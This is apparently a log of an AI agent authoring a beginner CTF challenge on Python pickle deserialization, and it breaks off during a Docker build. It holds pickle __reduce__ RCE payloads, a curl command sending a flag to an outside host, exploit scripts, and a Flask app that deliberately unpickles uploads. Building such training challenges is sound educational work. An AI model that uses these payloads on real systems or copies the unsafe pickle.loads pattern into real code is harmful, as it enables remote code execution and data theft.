🤖 # 阶段1:用户输入需求 [2026-01-07 15:35:27] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0 根据用户输入,确认需求如下: ``` 语言:Python 难度:入门(最多1个漏洞) 漏洞:Python反序列化 场景:投资理财 ``` --- # 阶段2:漏洞主次分类 [2026-01-07 15:35:27] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1 **入门难度只允许1个漏洞,跳过此阶段** - 主漏洞:Python反序列化(分配 5 篇 writeup) --- # 阶段3:知识库获取 [2026-01-07 15:35:27] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2 ## 3.1 获取学习材料 使用 choice.py 从知识库获取相关 writeup: 🔧 Tool call: launch-process command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 60 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Jar.md - Paddle.md - flask_caching.md 🤖 现在读取这5篇 writeup 文件来学习相关技巧: 🔧 Tool call: view path: "data/writeups/Bottle Poem.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Bottle Poem.md: 1 LFI: 2 http://bottle-poem.ctf.sekai.team/show?id=/app/app.py 3 /sign url uses some secret to create digital signature of a user session. 4 http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py 5 reveals that secret. 6 So, now we can create our own customized sessions. 7 Viewing the src code of bottle: 8 ``` 9 def cookie_encode(data, key): 10 ''' Encode and sign a pickle-able object. Return a (byte) string ''' 11 msg = base64.b64encode(pickle.dumps(data, -1)) 12 sig = base64.b64encode(hmac.new(tob(key), msg, 13 digestmod=hashlib.md5).digest()) 14 return tob('!') + sig + tob('?') + msg ... (38 more lines) 🤖 继续读取其他 writeup 文件: 🔧 Tool call: view path: "data/writeups/File Store.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/File Store.md: 1 # KalmarCTF 2024 2 3 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), 4 [CTFtime](https://ctftime.org/team/284495)) 5 6 ## web 7 8 ### File Store (59 Solves) 9 10 #### Prompt 11 12 > Upload your files on the Kalmar File Store and share them with your friends. 13 > 14 > Note: For this challenge, you will not be sharing it by anybody else. Thus, ... (458 more lines) 🤖 继续读取其他 writeup 文件: 🔧 Tool call: view [2026-01-07 15:35:45] [INFO] [Augment] [已处理 100 行] path: "data/writeups/Jar.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Jar.md: 1 # Jar 2 3 ## Challenge: 4 5 My other pickle challenges seem to be giving you all a hard time, so here's a 6 [simpler one](https://jar.2021.chall.actf.co/) to get you warmed up. 7 8 ## Solution: 9 10 We’re given a link to the web application, the Python source code, and a 11 picture of a pickle. The hint points to the [documentation for the Python 12 pickle module](https://docs.python.org/3/library/pickle.html), a clue that 13 this application is vulnerable to insecure deserialization. 14 ... (61 more lines) 🤖 继续读取剩余的 writeup 文件: 🔧 Tool call: view path: "data/writeups/Paddle.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Paddle.md: 1 # Paddle 2 3 **Tags**: Clone-and-Pwn, web 4 5 > Flexible to serve ML models, and more. 6 7 For this challenge, we are given a Dockerfile that installs the latest version 8 of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the 9 built-in demo. 10 11 ```Dockerfile 12 FROM python:3.6-slim 13 RUN apt-get update && \ 14 apt-get install libgomp1 && \ ... (97 more lines) 🤖 继续读取最后一个 writeup 文件: 🔧 Tool call: view path: "data/writeups/flask_caching.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/flask_caching.md: 1 # flask_caching (Web, 300 points) 2 3 > cache all the things (this is python3) 4 > http://web.chal.csaw.io:5000 5 6 This challenge serves up a Flask web application where we are able to upload 7 a note with a title and file, which it puts into the Redis database. It also 8 uses `flask_caching` on many endpoints just because. The source code was 9 provided in `app.py` and the relevant parts are included below: 10 11 ```python 12 @app.route('/', methods=['GET', 'POST']) 13 def notes_post(): 14 if request.method == 'GET': ... (108 more lines) 🤖 # 阶段4:知识整理 [2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3 ## 可借鉴技巧清单 | 技巧 | 来源 | 代码片段 | 适用场景 | |------|------|---------|---------| | pickle.dumps 反序列化 RCE | Bottle Poem.md | `class PickleRce: def __reduce__(self): return eval, ("os.system('cmd')",)` | Python Web 应用 | | __reduce__ 方法触发命令执行 | Jar.md | `def __reduce__(self): cmd = ("sleep 5"); return os.system, (cmd,)` | Pickle 反序列化 | | Base64 编码 pickle payload | Jar.md | `base64.urlsafe_b64encode(pickle.dumps(RCE()))` | Cookie 传输 | | Flask Session 文件反序列化 | File Store.md | `pickle.load(f)` 读取 session 文件 | Flask Session 存储 | | 通过 curl 外带数据 | Jar.md | `cmd = ("curl https://endpoint/`echo $FLAG`")` | 数据外带 | | Pickle 写入文件触发 | File Store.md | `f.seek(4); pickle.dump(session_value, f)` | 文件上传场景 | | Redis + Pickle 反序列化 | flask_caching.md | `payload = b"!" + pickle.dumps(RCE())` | Flask Caching | | numpy.load allow_pickle | Paddle.md | `np.load(byte_data, allow_pickle=True)` | NumPy 数据加载 | --- # 阶段5:题目设计 [2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4 ## 5.1 设计目标 - **差异度**:≥20%(入门级别) - **深度**:1.5-4.0(入门级别) - **趣味性**:0-1 个啊哈时刻 ## 5.2 利用链设计 | 步骤 | 类型 | 技术点 | 深度 | 知识来源 | |------|------|--------|------|---------| | Step 1 | 信息收集 | 访问投资理财平台,发现投资组合保存功能 | 1/10 | 业务逻辑 | | Step 2 | 功能探索 | 发现可以保存和加载投资组合配置 | 1.5/10 | 业务逻辑 | | Step 3 | 漏洞利用 | 构造恶意 pickle payload 上传 | 3/10 | Jar.md, File Store.md | | Step 4 | 触发反序列化 | 加载投资组合时触发 pickle.loads | 3.5/10 | Bottle Poem.md | | Step 5 | 获取 FLAG | 命令执行读取 /flag.txt | 4/10 | Jar.md | [2026-01-07 15:36:26] [INFO] [Augment] [已处理 200 行] **平均深度**:(1 + 1.5 + 3 + 3.5 + 4) / 5 = 2.6/10 ✅ 符合入门要求 **啊哈时刻**:发现投资组合配置文件实际是 pickle 序列化数据 ## 5.3 核心代码预写 ### 漏洞触发代码(真实代码) ❌ 安全写法(不能触发): ```python import json portfolio_data = json.loads(file_content) ``` ✅ 漏洞写法(能触发): ```python import pickle import base64 portfolio_data = base64.b64decode(file_content) portfolio = pickle.loads(portfolio_data) ``` ### exp 核心代码(真实代码) ```python import pickle import base64 import requests class RCE: def __reduce__(self): import os return os.system, ('cat /flag.txt > /tmp/flag.txt',) payload = base64.b64encode(pickle.dumps(RCE())) files = {'file': ('portfolio.dat', payload)} r = requests.post(f'{url}/upload', files=files) r2 = requests.get(f'{url}/load?name=portfolio.dat') ``` ### 依赖清单 - Flask==2.3.0 - requests==2.31.0 ## 5.3.1 代码可运行性自检 1. **导入完整吗?** ✅ pickle, base64, os, Flask 都有导入 2. **路由正确吗?** ✅ /upload (POST), /load (GET) 3. **参数名一致吗?** ✅ file 参数用于上传,name 参数用于加载 4. **响应格式对吗?** ✅ 返回 HTML 页面或 JSON ## 5.4 简易 exp 草稿(用于 Docker 测试) ```python import pickle import base64 import requests url = "http://localhost:5000" class RCE: def __reduce__(self): import os return os.system, ('cat /flag.txt',) payload = base64.b64encode(pickle.dumps(RCE())) files = {'file': ('portfolio.dat', payload)} r1 = requests.post(f"{url}/upload", files=files) print("Upload:", r1.status_code) r2 = requests.get(f"{url}/load?name=portfolio.dat") print("Load:", r2.status_code) print("Response:", r2.text) ``` ## 5.5 设计摘要 ``` ### 设计摘要 - 题目名称:InvestMaster - 利用链:访问平台 -> 上传投资组合 -> 加载配置触发反序列化 -> 命令执行 -> 获取 FLAG - 黑名单:无 - 关键 payload:pickle.dumps(RCE()) 经过 base64 编码 - 容器端口:5000 ``` --- # 阶段6:质量检查 [2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5 ### 检查清单 - [x] **深度达标**:平均深度 2.6/10,最高深度 4/10,符合入门要求(1.5-4.0) - [x] **漏洞覆盖**:Python反序列化漏洞在利用链中(Step 3-4) - [x] **代码可行**:核心代码使用 pickle.loads 触发反序列化,可正常运行 - [x] **payload 兼容**:无黑名单,payload 不会被阻断 [2026-01-07 15:36:26] [INFO] [Augment] [已处理 300 行] ✅ **质量检查通过,进入代码生成阶段** --- # 阶段7:代码生成 [2026-01-07 15:36:26] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6 ## 7.1 生成后端代码 🔧 Tool call: launch-process command: "date +"%Y%m%d_%H%M%S"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 10 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: 20260107_153626 🤖 好的,我将继续生成代码。现在创建输出目录并生成后端代码: 🔧 Tool call: launch-process command: "mkdir -p output/20260107_153626_InvestMaster/docker/web/src output/20260107_153626_InvestMaster/docker/web/files output/20260107_153626_InvestMaster/docker/web/src/templates output/20260107_153626_InvestMaster/docker/web/src/static output/20260107_153626_InvestMaster/docker/web/src/uploads" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true 📋 Tool result: launch-process ✅ Command completed successfully (No output) 🤖 好的,我将分段生成文件。首先生成后端代码: 🔧 Tool call: save-file instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_153626_InvestMaster/docker/web/src/app.py" file_content: "from flask import Flask, render_template, request, redirect, url_for, jsonify import pickle import base64 import os import uuid app = Flask(__name__) app.config['UPLOAD_FOLDER'] = 'uploads' app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) @app.route('/') ... (51 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/app.py} 🤖 好的,继续生成前端模板文件: 🔧 Tool call: save-file file_content: " InvestMaster - Portfolio Manager

InvestMaster Portfolio Manager

Manage your investment portfolios with ease

Upload Portfolio Configuration

... (31 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/templates/index.html} 🤖 好的,我会继续分段生成文件。现在生成其他模板文件: 🔧 Tool call: save-file file_content: " Portfolio Details - InvestMaster

Portfolio Details

Portfolio Information

... (13 more lines) 📋 Tool result: save-file [2026-01-07 15:37:01] [INFO] [Augment] [已处理 400 行] File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/templates/portfolio.html} 🤖 好的,继续生成 create.html 模板: 🔧 Tool call: save-file file_content: " Create Portfolio - InvestMaster

Create New Portfolio

Portfolio Configuration Guide

To create a portfolio, prepare a .dat file with your investment configuration.

... (23 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/templates/create.html} 🤖 好的,继续生成 CSS 样式文件: 🔧 Tool call: save-file file_content: "* { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; padding: 20px; } .container { max-width: 800px; ... (105 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/static/style.css} 🤖 好的,继续生成 requirements.txt 文件: 🔧 Tool call: save-file file_content: "Flask==2.3.0 Werkzeug==2.3.0 " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_153626_InvestMaster/docker/web/src/requirements.txt" 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/src/requirements.txt} 🤖 好的,继续生成 Dockerfile: 🔧 Tool call: save-file file_content: "FROM python:3.9-slim RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \ sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list RUN apt-get update && apt-get install -y --no-install-recommends \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY src/requirements.txt . RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ COPY src/ . COPY files/flag.sh /flag.sh ... (17 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/Dockerfile} 🤖 好的,继续生成 docker-compose.yml 文件: 🔧 Tool call: save-file file_content: "version: '3' services: web: build: ./web container_name: investmaster_web ports: - "42567:5000" restart: unless-stopped " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_153626_InvestMaster/docker/docker-compose.yml" 📋 Tool result: save-file [2026-01-07 15:37:40] [INFO] [Augment] [已处理 500 行] File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/docker-compose.yml} 🤖 好的,继续生成 flag.sh 文件: 🔧 Tool call: save-file file_content: "#!/bin/bash echo $DASFLAG > /flag.txt export DASFLAG=nonono rm -f /flag.sh " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_153626_InvestMaster/docker/web/files/flag.sh" 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/files/flag.sh} 🤖 好的,继续生成 start.sh 文件: 🔧 Tool call: save-file file_content: "#!/bin/bash /flag.sh python3 /app/app.py " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_153626_InvestMaster/docker/web/files/start.sh" 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_153626_InvestMaster/docker/web/files/start.sh} 🤖 好的,我会继续按照规则分段执行。现在进入阶段8:Docker 构建与测试。 [2026-01-07 15:37:59] [STAGE] [Augment] 🎯 [阶段 7] 阶段 7 --- # 阶段8:Docker 构建与测试 ## 8.1 分层验证 ### 第1层:容器启动 🔧 Tool call: launch-process command: "cd output/20260107_153626_InvestMaster/docker && docker-compose -p ctf_test up -d --build" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 300 wait: true 📋 Tool result: launch-process ❌ Error: Command failed with exit code 17 📤 Output: #1 [internal] load build definition from Dockerfile #1 transferring dockerfile: 702B done #1 DONE 0.0s #2 [internal] load .dockerignore #2 transferring context: 2B done #2 DONE 0.0s #3 [internal] load metadata for docker.io/library/python:3.9-slim #3 DONE 0.7s #4 [ 1/11] FROM docker.io/library/python:3.9-slim@sha256:2d97f6910b16bd338d3060f261f53f144965f755599aab1acda1e13cf1731b1b #4 CACHED #5 [internal] load build context #5 transferring context: 7.83kB 0.0s done #5 DONE 0.0s #6 [ 2/11] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list #6 0.253 sed: can't read /etc/apt/sources.list: No such file or directory #6 ERROR: executor failed running [/bin/sh -c sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list]: exit code: 2 ------ > [ 2/11] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list: #6 0.253 sed: can't read /etc/apt/sources.list: No such file or directory ------ failed to solve: executor failed running [/bin/sh -c sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list]: exit code: 2 🤖 发现 Dockerfile 错误,Python 3.9-slim 使用的是新版 Debian,sources.list 文件位置不同。我需要修复 Dockerfile: 🔧 Tool call: str-replace-editor 📝 output/20260107_153626_InvestMaster/docker/web/Dockerfile (lines 3-5 → lines 2-1) -RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \ - sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list - 📋 Tool result: str-replace-editor Successfully edited the file output/20260107_153626_InvestMaster/docker/web/Dockerfile. Result for str_replace for entry with index [1]: Replacement successful. new_str starts at line 1 and ends at line 4. Review the changes and make sure they are as expected (correct indentation, no duplicate lines, etc). Edit the file again if necessary. 🤖 好的,我会继续修复 Dockerfile 中的 pip 镜像源配置: 🔧 Tool call: str-replace-editor 📝 output/20260107_153626_InvestMaster/docker/web/Dockerfile (line 2 → line 2) -RUN pip install --no-cache-dir -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ [2026-01-07 15:38:19] [INFO] [Augment] [已处理 600 行] +RUN pip install --no-cache-dir -r requirements.txt 📋 Tool result: str-replace-editor Successfully edited the file output/20260107_153626_InvestMaster/docker/web/Dockerfile. Result for str_replace for entry with index [1]: Replacement successful. new_str starts at line 8 and ends at line 9. Review the changes and make sure they are as expected (correct indentation, no duplicate lines, etc). Edit the file again if necessary. 🤖 好的,现在重新构建 Docker 容器: 🔧 Tool call: launch-process command: "cd output/20260107_153626_InvestMaster/docker && docker-compose -p ctf_test up -d --build" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 300 wait: true 📋 Tool result: launch-process Command may still be running. You can use read-process to get more output and kill-process to terminate it if needed. Terminal ID 5 Output so far: #1 [internal] load build definition from Dockerfile #1 transferring dockerfile: 502B done #1 DONE 0.0s #2 [internal] load .dockerignore #2 transferring context: 2B done #2 DONE 0.0s #3 [internal] load metadata for docker.io/library/python:3.9-slim #3 DONE 0.2s #4 [internal] load build context #4 transferring context: 455B done #4 DONE 0.0s #5 [ 1/10] FROM docker.io/library/python:3.9-slim@sha256:2d97f6910b16bd338d3060f261f53f144965f755599aab1acda1e13cf1731b1b #5 ... #6 [ 2/10] RUN apt-get update && apt-get install -y --no-install-recommends && rm -rf /var/lib/apt/lists/* #0 1.439 Get:1 http://deb.debian.org/debian trixie InRelease [140 kB] #0 2.701 Get:2 http://deb.debian.org/debian trixie-updates InRelease [47.3 kB] #0 7.029 Get:3 http://deb.debian.org/debian-security trixie-security InRelease [43.4 kB] #6 16.26 Get:4 http://deb.debian.org/debian trixie/main arm64 Packages [9607 kB] 🤖 好的,我会等待 Docker 构建完成: 🔧 Tool call: read-process terminal_id: 5 wait: true max_wait_seconds: 240